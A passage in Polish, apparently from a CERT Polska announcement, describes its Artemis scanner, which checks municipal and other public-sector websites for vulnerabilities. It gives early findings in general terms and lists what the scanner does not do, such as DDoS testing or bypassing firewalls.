uczelni,
jednostek samorządu terytorialnego (np. gmin – zarówno ich stron internetowych, jak i stron spółek, które obsługują np. wywóz śmieci czy kanalizację).

Podmioty nie są wybierane przypadkowo – zależy nam, by nasze działania objęły możliwie szeroki zakres wynikający z ustawy o krajowym systemie cyberbezpieczeństwa. Korzystamy z ogólnodostępnych baz grupujących jednostki danego typu, np. samorządy.

Do prowadzonych skanowań korzystamy z jednego adresu IP. System skanujący jest tak skonfigurowany, by administrator, zobaczywszy podejrzane połączenie, był w stanie sprawdzić, że pochodzi ono od CERT Polska. Powiadomienia o zgłoszonych podatnościach są wysyłane z adresu cert@cert.pl. Wszystko to po to, by uniknąć wątpliwości dotyczących tego, skąd pochodzi dana aktywność i czy nie ma wrogiego charakteru.

Co już wykrył Artemis?

Skanowanie trwa od 2 stycznia i przyniosło już pierwsze rezultaty. Przeskanowaliśmy blisko 2000 domen gmin i powiatów wraz z subdomenami i do tej pory udało nam się wykryć kilkaset stron bazujących na nieaktualizowanym oprogramowaniu. Mieliśmy też do czynienia z dziesiątkami sytuacji, w których pliki konfiguracyjne z hasłami, pliki z kopią zapasową serwisu czy foldery z danymi systemu poczty (adresami e-mail, treściami wiadomości czy załącznikami) były dostępne publicznie. Udało się nam znaleźć również kilkadziesiąt niewłaściwe zabezpieczonych folderów zawierających kod źródłowy systemu, a czasem nawet hasła dostępowe.

Czym nie jest Artemis?

Artemis działa automatycznie i na dużą skalę - nie przeprowadza pełnych testów bezpieczeństwa każdego systemu.

Artemis:

testuje (w ograniczonym zakresie) wyłącznie usługi dostępne publicznie z internetu,
testuje strony internetowe, pocztę i usługi takie jak np. bazy danych (jeśli są dostępne publicznie) - nie przeprowadza innych rodzajów testów,
nie testuje wydajności systemu (w tym odporności na ataki DDoS - z analiz CERT Polska wynika, że nieinwazyjne sprawdzanie takiej odporności nie jest możliwe),
nie omija zapór sieciowych - jeśli ruch zostanie przez taką zaporę zablokowany, Artemis nie wykona testów (administratorzy mogą skonfigurować zapory, aby ruch z adresów IP opisanych na stronie https://cert.pl/skanowanie nie był blokowany - w takich sytuacjach prosimy o kontakt pod adresem artemis@cert.pl),
nie powinien być traktowany przez administratorów jako informacja o wszystkich podatnościach występujących w ich infrastrukturze - Artemis wykonuje różne rodzaje testów, ale nie może zastąpić pełnego, certyfikowanego audytu bezpieczeństwa.